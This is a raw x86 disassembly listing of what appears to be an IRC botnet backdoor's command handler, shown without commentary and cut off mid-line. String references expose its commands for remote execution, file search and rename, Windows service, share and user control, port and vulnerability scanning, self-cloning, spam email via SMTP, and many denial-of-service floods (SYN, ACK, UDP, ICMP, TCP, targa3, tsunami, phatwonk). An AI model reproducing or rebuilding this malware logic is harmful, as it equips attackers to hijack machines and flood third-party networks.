ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h call near ptr 2660000h nop jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j nop call near ptr 2660882h push eax push offset dword_42AEA0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB044, ebx jz short loc_40604E cmp dword_4CB06C, ebx jz short loc_40604E push offset unk_42AE64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE38 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE18 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADD0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADB0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42AD88 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD68 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD3C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD20 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B504 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h call near ptr 2660000h nop jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j call near ptr 2660882h nop push eax push offset unk_42AB90 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB48 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 2660000h jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj call near ptr 2660882h nop push eax push offset dword_42AB0C jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA34 ; " " push offset dword_42B500 push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAEE4 lea eax, [ebp+var_47EC] push eax call dword_4CAFF8 push 6 push 1 push 2 mov edi, eax call dword_4CAFF4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAF74 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF1C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFC4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C push esi call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_4588] push eax push offset unk_42A9CC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A984 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A940 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h nop call near ptr 2660000h jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 2660882h push eax push offset unk_42A908 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A8D0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB064, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h nop call near ptr 2660000h jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j call near ptr 2660882h nop push eax push offset unk_42A850 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A7FC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7C4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A790 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A75C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A714 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h call near ptr 2660000h nop jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: 